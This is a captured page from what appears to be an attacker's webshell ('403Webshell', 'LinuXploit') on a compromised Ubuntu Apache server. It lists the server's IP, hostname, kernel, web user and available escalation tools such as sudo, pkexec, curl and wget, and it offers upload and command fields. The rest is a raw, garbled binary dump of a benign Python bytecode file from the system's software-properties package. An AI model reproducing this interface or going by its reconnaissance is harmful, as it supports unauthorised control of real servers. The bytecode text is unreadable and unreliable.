403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/softwareproperties/gtk/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/softwareproperties/gtk/__pycache__/DialogAdd.cpython-310.pyc
o

U�7es�@s^ddlZddlZe�dd�ddlmZddlmZddlmZddl	m
Z
Gdd	�d	�ZdS)
�N�Gtkz3.0)r)�gettext)�SourceEntry)�setup_uic@s$eZdZdd�Zdd�Zdd�ZdS)�	DialogAddcCs�||_||_||_t|tj�|dd�dd�|j|_|j�	|j�|j
|_|j|_
|j�d|j�|rEd|j|jj|j|jjdjf}nd}td	�d
|}|j�|�dS)z]
    Initialize the dialog that allows to add a new source entering the
    raw apt line
    �
gtkbuilderz
dialog-add.uizsoftware-properties)�domain�changedz%s %s %s %srz$deb http://ftp.debian.org sarge mainz[The APT line includes the type, location and components of a repository, for example  '%s'.z	<i>%s</i>N)�sourceslist�parent�datadirr�os�path�join�dialog_add_custom�dialog�set_transient_for�entry_source_line�entry�button_add_source�
button_add�connect�
check_line�binary_type�source_template�base_uri�codename�
components�name�_�label_example_line�	set_label)�selfrr
r�distro�example�msg�r&�B/usr/lib/python3/dist-packages/softwareproperties/gtk/DialogAdd.py�__init__'s(��zDialogAdd.__init__cCs:|j��}|j��|tjjkr|j��d}|Sd}|S)N�
)r�run�hider�ResponseType�OKr�get_text)r"�res�liner&r&r'r*Ds

�z
DialogAdd.runcGsd|j��d}|�d�r|j�d�dSt|�}|jdks"|jdkr*|j�d�dS|j�d�dS)zb
    Check for a valid apt line and set the sensitiveness of the
    button 'add' accordingly
    r)zppa:TNF)rr.�
startswithr�
set_sensitiver�invalid�disabled)r"�argsr0�source_entryr&r&r'rMs
zDialogAdd.check_lineN)�__name__�
__module__�__qualname__r(r*rr&r&r&r'r&s	r)r
�gi�require_version�
gi.repositoryrrr�aptsources.sourceslistr�softwareproperties.gtk.utilsrrr&r&r&r'�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit